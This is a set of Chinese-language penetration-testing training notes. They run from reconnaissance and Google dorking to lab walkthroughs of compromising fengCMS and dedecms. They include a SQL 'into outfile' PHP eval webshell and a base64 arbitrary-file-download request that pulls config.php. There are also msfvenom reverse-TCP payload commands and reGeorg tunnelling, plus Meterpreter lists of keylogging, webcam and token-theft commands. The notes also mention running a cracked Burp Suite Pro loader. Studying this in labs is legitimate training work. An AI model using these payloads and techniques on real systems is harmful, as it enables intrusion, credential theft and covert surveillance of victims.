培训-渗透笔记
渗透测试
一、信息收集
1. Whois查询及主域名
绑定IP、域名所有人、域名注册商
二级域名
可通过站长工具、kali下whois命令+域名查找
http://whois.chinaz.com/
https://cloud.baidu.com/product/bcd.html
https://whois.aliyun.com/
Kali 下: whois xxxxx.com
2.端口及服务
中间件( JBOSS、 Tomcat、 Weblogic等)
常用服务( FTP、 RDP、 Memcache等)
3.搜索引擎
绑定IP、域名所有人、域名注册商
二级域名
二级域名如何查找?
Ø 搜索备案许可号http://www.beianbeian.com/
Ø 关注移动APP的数据传输https://dev.bangcle.com/
Ø 威胁情报检测平台
Ø SEO大数据工具
https://x.threatbook.cn/ 查询子域名
Google HACK
filetype(重点推荐)
搜索指定类型的文件。
如: .zip .bak .mdb .inc
inurl(重点推荐)
搜索我们指定的字符是否存在于URL中。
如: admin、 login、 system
intitle
搜索网页标题中是否有我们所要找的字符。
百度:
intext
网页中的正文内容中的某个字符做为搜索条件。
site
找到与指定网站有联系的URL。
Cache
用来搜索搜索引擎服务器上某页面的缓存。
+加上可能忽略的字
- 把某个字忽略
~ 同意词
. 单一的通配符
* 通配符,可代表多个字母 "" 精确查询
filetype:txt intext:用户名 and 密码
intitle:"index of"intext:config.php.bak
网站目录
4.Web应用分析
指纹探测、 Web架构、 HTTP头、敏感目
录及文件、错误码分析、漏洞扫描
查看源文件
通过隐藏的链接,代码注释, JS、 CSS文件等
发现敏感信息
Web指纹探测
识别已知Web程序,利用已有漏洞进行尝试或代码审计。
http://whatweb.secbug.org
查询网站是用了模板还是自己写
暴力猜解
利用工具(御剑、 Burpsuite、 DirBrute等)暴力猜解
敏感文件及目录。
返回的错误信息
300、 404、 500页面可能会暴露服务
器或Web应用的敏感信息
HTTP响应头
从HTTP响应头判断Web容器类型
及网站架构(如根据Server: BIGIP 推测站点使用了负载均衡
源代码泄露
. git源码泄漏、 . hg源码泄漏、 .svn源码泄露
、 .DS_Store文件泄漏、未删除的备份、
各种编辑器备份文件 ( .bak 、 .swp等)
实际应用中较少但CTF中较多
漏洞扫描
AWVS
自带几百个扫描脚本,
详情查看手册。
Nmap
非常好用的Web漏洞扫描器
,使用简单,功能强大
Scanner Box。安全从业人员
自己开发的小脚本。
https://github.com/We5ter
/Scanners-Box
Python脚本
针对特定应用或服务的扫描
器,如wpscan、 Metasploit
里的扫描脚本
## 源代码泄露
drwxr-xr-x 11 www-data www-data 4096 Aug 2 17:48 .
drwxr-xr-x 9 root root 4096 Aug 2 17:40 ..
-rw-r--r-- 1 root root 12288 Aug 2 17:43 .index.php.swp
-rw-r--r-- 1 root root 29 Jul 31 16:16 config.php
-rw-r--r-- 1 root root 257 Aug 2 17:42 index.php
drwxr-xr-x 2 root root 4096 Aug 2 17:51 jump
vim -r .index.php.swp
## MD5的弱语言特性
0e开头的MD5原文:
240610708 QNKCDZO 400035577431
md5(240610708,32) = 0e462097431906509019562988736854
md5(QNKCDZO,32) = 0e830400451993494058024219903391
**no module named requests**
http://www.cnblogs.com/jamespan23/p/5526311.html
EXP(exploit): 利用漏洞攻击的脚本(代码)
payload:攻击成功之后要执行的脚本(代码)
POC:漏洞验证脚本(代码)
---
192.168.2.3: \ 172.17.1.5 \ xxx
0.0.0.0:22
192.168.2.3:7001
127.0.0.1:3306
---
WordPress 渗透
http://192.168.2.191:83/
http://192.168.2.191:84/
---
## fengcms 实战
http://xxxx/?controller=down&file=Y29uZmlnLnBocA
config.php ==> (base64) ==> Y29uZmlnLnBocA==
conifg.php
index.php ==> aW5kZXgucGhw
localhost:3306
---
burpsuite实战指南:
https://www.gitbook.com/book/t0data/burpsuite/details
爆破字典:
https://github.com/rootphantomer/Blasting_dictionary
sqlmap + burp suite:
《Metasploit 魔鬼训练营》
包含电子书+存在漏洞的虚拟机镜像
链接: https://pan.baidu.com/s/1nvl05Wt 密码: twt7
Meterpreter
background 将当前会话调到后台
sessions 展示所有会话
sessions -i [id] 将后台的会话调到前台
![](https://ws1.sinaimg.cn/large/006tNc79ly1fi7ikmjcn9j30ll0b7q4s.jpg)
## Burpsuite 专业版
1. 在Windows中安装java环境或者将专业版Burpsuite拖进Kali
2. java -jar burpsuite_pro_v1.7.11/BurpLoader.jar 运行Burpsuite
## 使用metasploit爆破Tomcat口令
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts 192.168.2.191
exploit
各种编辑器备份文件(.bak/.swp)
.swp vim的备份文件,指令vim -r .php.swp来恢复
EXP(exploit):利用漏洞攻击的脚本(代码)
payload:攻击成功之后要执行的脚本(代码)
POC:漏洞验证脚本(代码)
CMS渗透
#### fengCMS
首先拿到这个站后看到是fengCMS,百度了一下fengCMS的,表哥搭的版本比较低,漏洞有点多,用了一个比较老的任意文件下载漏洞直接把config的文件下载下来了,然后得到了数据库账号和密码,,然后扫了一下端口,发现开着3306,连上数据库之后得到后台账号密码,可以通过修改账号密码或者添加账号进入后台getshell,然后我利用的是通过sql语句写入一句话,这里需要注意的问题是通过SQL语句写入shell的时候需要绝对路径,在用AWVS扫的时候扫到了phpinfo,里面找到绝对路径,但是后来就不敢用了,一扫容易把环境扫出问题来。
```
select "<?php eval($_POST[%27cmd%27]) ?>" into outfile "绝对路径";
```
这里一开始我往根目录里写,但是写不进去,没有权限,然后在表哥的提醒下往upload文件里面的文件里写了,成功getshell。
#### dedecms
1.这个一开始找了几个exp都没成功,然后就吃饭去了,回来自己下了个源码搭了一下环境,然后百度了一下exp,成功爆出账号密码,然后dede密码的md5需要前减三后减一再去破解,登陆后台有个文件管理,权限比较大,直接上传shell,菜刀连接。
2.可能我自己设置的密码比较简单,不过这个方法也是可以去尝试的,后台密码爆破,直接利用bp的intruder模块,加载了个常用密码字典爆破。
Meterpreter
核心命令
background - 将当前会话移至后台
exit/quit - 终止meterpreter会话
helt - 帮助菜单
migrate - 移动到看一个指定的PID的活动进程
run - 执行以后它可以选定的脚本
user - 加载meterpreter的拓展
load - 加载其他辅助组件
系统命令
clearav - 清楚了受害者的计算机上的事件日志
drop_token - 被盗的令牌
execute - 执行命令
getpid - 获取当前的进程
getprivs- 尽可能的获取更多的特权
getuid - 获取作为运行服务器的用户
kill - 终止指定的pid进程
ps - 列出正在运行的进程
#### 系统命令
reboot - 重启启动受害人的计算机
reg - 与受害人的注册表进行交互
rev2self - 在受害者机器上调用RevertToSelf
shell - 在受害者机器上打开一个shell
shutdown - 关闭受害者的机器
steal_token - 试图窃取指定的PID的令牌
sysinfo - 获取计算机操作系统和名称
#### 用户界面命令
keyscan_dump - 键盘记录软件的内容转储
keyscan_stat - 启动键盘记录软件
keyscan_stop - 停止键盘记录软件
screenshot - 抓取受控机的桌面屏幕
set_desktop - 更改目标桌面
webcam_snap - 抓取摄像头图片
webcam_stream - 抓取摄像头影像流
提权
#### windows
## 中间件
#### Tomcat攻防
Tomcat是以系统服务权限运行的,所以一般来说权限都比较高。
#### Weblogic攻防
Weblogic默认端口是7001
Weblogic10g-12c的默认后台是 7001/console
10版本一下的默认http://192.168.80.1:7001/console/login/LoginForm.jsp
#### Java反序列化造成的RCE漏洞
#### JBOSS攻防
网络边界撕裂
reGeorg
连上菜刀之后将tunnel.nosocket.php上传到服务器,然后本地执行
```
python reGeorgSocksProxy.py -u http://10.1.199.178/tunnel.php -p 8899
```
,用来做中间处理,当mypc发来8899端口的请求后该中间会将请求发送到内网,也就是pc访问不到的那个网段,然后需要设置8899的浏览器的拦截,类似burpsuite的拦截,只不过8899端口拦截下来的请求发送到tunnel.php。
Metasploit
用msf来进行边界撕裂,首先在msf里面生成一个php反弹马或者exe马
```
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.1.199.199 LPORT=23333 -o ~/Desktop/123.php
```
msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 -f exe -o ~/shell.exe
lhost是本机的IP,然后指定一个port来接受反弹回来的shell,然后讲生成的php马上传到服务器,然后访问上传的php马就会反弹回来一个shell。